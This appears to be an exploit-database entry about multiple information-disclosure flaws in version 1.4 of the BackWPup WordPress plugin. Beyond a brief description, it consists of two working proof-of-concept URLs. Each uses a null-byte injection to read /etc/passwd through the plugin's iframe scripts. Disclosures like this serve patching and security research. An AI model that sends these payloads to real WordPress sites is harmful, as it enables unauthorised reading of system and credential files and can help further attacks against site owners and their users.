WordPress Plugin BackWPup 1.4 - Multiple Information Disclosure Vulnerabilities

Author: Danilo Massa
type: webapps
platform: php
port: 0
date_added: 2011-02-28
date_updated: 2014-11-30
verified: 1
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source: https://www.securityfocus.com/bid/46610/info

The BackWPup plugin for WordPress is prone to multiple information-disclosure vulnerabilities because it fails to properly sanitize user-supplied input.

Attackers can exploit these issues to retrieve the contents of an arbitrary file. Information obtained may aid in launching further attacks.

http://www.example.com/wp-content/plugins/backwpup/app/options-runnow-iframe.php?wpabs=/etc/passwd%00&jobid=1

http://www.example.com/wp-content/plugins/backwpup/app/options-view_log-iframe.php?wpabs=/etc/passwd%00&logfile=/etc/passwd